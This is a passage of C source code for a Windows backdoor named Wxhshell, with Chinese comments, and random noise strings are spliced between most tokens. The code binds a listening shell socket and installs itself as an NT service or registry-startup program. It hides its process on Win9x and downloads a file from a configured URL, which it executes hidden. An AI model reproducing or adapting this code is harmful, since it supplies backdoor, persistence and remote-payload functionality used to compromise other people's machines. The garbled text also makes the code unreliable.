YDp v6wg,,T CloseHandle(hProcess); >B``+Z^2 `*0VN(gf' hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A.yIl`'UP# if(hProcess==NULL) return 0; t(vyi \'zloBU HMODULE hMod; Jj0:p" char procName[255]; \d.\M unsigned long cbNeeded; 'ahz@+lO vz3olHX if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >`[+24e &*8.%qe; CloseHandle(hProcess); $mf O:% g0QYBrp if(strstr(procName,"services")) return 1; // 以服务启动 H>D? n@H;*nI| return 0; // 注册表启动 K[?@nl?,z } Wcm'E3c, }!r
pH{y // 主模块 ~Hd* Xl int StartWxhshell(LPSTR lpCmdLine) g/FT6+&T. { ?Vh#Gr SOCKET wsl; }Q9+krrow BOOL val=TRUE; +2p}KpOsL int port=0; eVX/<9> struct sockaddr_in door; Rxr?T- DTsD<o if(wscfg.ws_autoins) Install(); ?b}e0C-a Z6- port=atoi(lpCmdLine); YIIc@) v=dK2FaY if(port<=0) port=wscfg.ws_port; gw">xt5 M17+F?27M WSADATA data; /V2yLHm if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; s^.tj41Gx} o*E32#l if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; > Xij+tt{ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); <Mj{pN3 door.sin_family = AF_INET; NU'2QSU8 door.sin_addr.s_addr = inet_addr("127.0.0.1"); \R-'<kN.* door.sin_port = htons(port); JSylQ201 {md5G$*% if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { MLiaCG; closesocket(wsl); hhWy-fP#
return 1; \QG2V$ } }G^'y8U Gr}NgyT<!D if(listen(wsl,2) == INVALID_SOCKET) { B+jh|@- closesocket(wsl); 8$ RiFD, return 1; 0"GLgj:9 } ^U*1_|Jh Wxhshell(wsl); (7&b)"y WSACleanup(); xh#pw2v7V egr"og{ return 0; ?|_i"*]l oLq N } '6g-]rE[ M$!-B,1BX // 以NT服务方式启动 j
B1ZF# VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Yi[MoYe/K { rf`xY4I\ DWORD status = 0; RFSwX*! DWORD specificError = 0xfffffff; j,
*=D6 +~P_o_M serviceStatus.dwServiceType = SERVICE_WIN32; xzFQ)t& serviceStatus.dwCurrentState = SERVICE_START_PENDING; [wJ\.9<Oa serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; / $s(OFbi# serviceStatus.dwWin32ExitCode = 0; M^e}w!U serviceStatus.dwServiceSpecificExitCode = 0; 5yj# 9H serviceStatus.dwCheckPoint = 0; OTAe#]# serviceStatus.dwWaitHint = 0; O:~J_Wwl! MXDCOe~07 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !I&,!$ if (hServiceStatusHandle==0) return; `}L{gssv W1LR ,:$ status = GetLastError(); 5G`fVsb if (status!=NO_ERROR) R>5Xv%R { sX}#L serviceStatus.dwCurrentState = SERVICE_STOPPED; 0S&J=2D! serviceStatus.dwCheckPoint = 0; mfffOG serviceStatus.dwWaitHint = 0; E.0J94>iM serviceStatus.dwWin32ExitCode = status; `|v/qk7
^? serviceStatus.dwServiceSpecificExitCode = specificError; !) `*e>]x SetServiceStatus(hServiceStatusHandle, &serviceStatus); yc`3) return; (c"!&&S^ = } q
\fyp\z =[Z3]#h serviceStatus.dwCurrentState = SERVICE_RUNNING; G;[O~N3n. serviceStatus.dwCheckPoint = 0; ~6O~Fth serviceStatus.dwWaitHint = 0; 9KJ}Ai if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 62Tel4u } Z.x]6 3Of!Ykf= // 处理NT服务事件,比如:启动、停止 9%"\s2T VOID WINAPI NTServiceHandler(DWORD fdwControl) {Xr 9]g` { |QR9#Iv switch(fdwControl) ]Wjcr2Wq { ;R<V-gab case SERVICE_CONTROL_STOP: ,!PV0(F( serviceStatus.dwWin32ExitCode = 0; B&1E&Cv_8 serviceStatus.dwCurrentState = SERVICE_STOPPED; f#7=N{wm serviceStatus.dwCheckPoint = 0; 3` D[' serviceStatus.dwWaitHint = 0; N_Zd.VnY { %~>-nqS SetServiceStatus(hServiceStatusHandle, &serviceStatus); E`C!q
X> } Oz&*A/si+3 return; >pJ#b= case SERVICE_CONTROL_PAUSE: ;kR=vv serviceStatus.dwCurrentState = SERVICE_PAUSED; 3J/l>1[ break; ^ZRZ0:rZ case SERVICE_CONTROL_CONTINUE: cW"DDm
g serviceStatus.dwCurrentState = SERVICE_RUNNING; K_:2sDCaN break; hd(TKFL^y case SERVICE_CONTROL_INTERROGATE: !h<O c!9 break; }s6Veosl }; |YV> #l SetServiceStatus(hServiceStatusHandle, &serviceStatus); e"{"g[b/7 } {^:NII] EQw7(r|v: // 标准应用程序主函数 k\dPF@~Hvl int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) :qAX9T'{t { % -+7=x 3)2{c // 获取操作系统版本 myqwU`s OsIsNt=GetOsVer(); %3"U|Za+ GetModuleFileName(NULL,ExeFile,MAX_PATH); ;mGPX~38 iC>%P&|-)| // 从命令行安装 7fS NF7/+ if(strpbrk(lpCmdLine,"iI")) Install(); Of$R+n. V\]j^$ // 下载执行文件 @t*D<B$ if(wscfg.ws_downexe) { qHo Hh if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &N+`O)$ WinExec(wscfg.ws_filenam,SW_HIDE); ~_F;>N~ } T(]*jaB xdz 6[8d8 if(!OsIsNt) { l%?4L/J)# // 如果时win9x,隐藏进程并且设置为注册表启动
ylS6D HideProc(); guf*>qNr StartWxhshell(lpCmdLine); Q
8;JvCz } Dfc%
jWbA else 2+C:Em0yI if(StartFromService()) ;4GGXT++L // 以服务方式启动 0M&~;`W} StartServiceCtrlDispatcher(DispatchTable); 19pFNg'kA else ^K_FGE0ec // 普通方式启动 h;y}g/HZ StartWxhshell(lpCmdLine); Qe4 % A 'iOaj0f return 0; v"mZy,u }
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